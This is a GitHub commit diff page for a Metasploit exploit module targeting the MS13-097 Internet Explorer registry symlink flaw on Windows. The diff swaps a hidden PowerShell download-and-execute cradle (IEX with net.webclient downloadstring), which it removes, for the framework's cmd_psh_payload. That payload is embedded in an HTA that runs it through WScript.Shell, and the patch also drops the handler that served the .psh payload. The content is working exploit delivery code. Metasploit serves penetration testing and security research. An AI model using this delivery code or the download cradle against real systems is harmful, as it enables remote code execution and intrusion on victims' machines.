Skip to content

Commit 03889ed

Browse files
committed
Use cmd_psh_payload
1 parent 6e122e6 commit 03889ed

File tree

1 file changed

+1
-7
lines changed

1 file changed

+1
-7
lines changed

modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb

Lines changed: 1 addition & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -98,20 +98,14 @@ def primer
9898
def on_request_uri(cli, request)
9999
if request.uri =~ /\.hta$/
100100
print_status("Sending hta...")
101-
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{get_uri}/#{rand_text_alpha(4 + rand(4))}.psh'))"
102-
command = "powershell.exe -w hidden -nop -c #{download_and_run}"
103101
hta = <<-eos
104102
<script>
105-
var command = "cmd.exe /c #{command}";
103+
var command = "#{cmd_psh_payload(payload.encoded).strip}";
106104
var shell = new ActiveXObject("WScript.Shell");
107105
shell.Run(command);
108106
</script>
109107
eos
110108
send_response(cli, hta, {'Content-Type'=>'application/hta'})
111-
elsif request.uri =~ /\.psh$/
112-
print_status("Sending psh payload...")
113-
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
114-
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
115109
elsif request.uri =~ /\.html$/
116110
print_status("Sending window close html...")
117111
close_html = <<-eos

0 commit comments

Comments
 (0)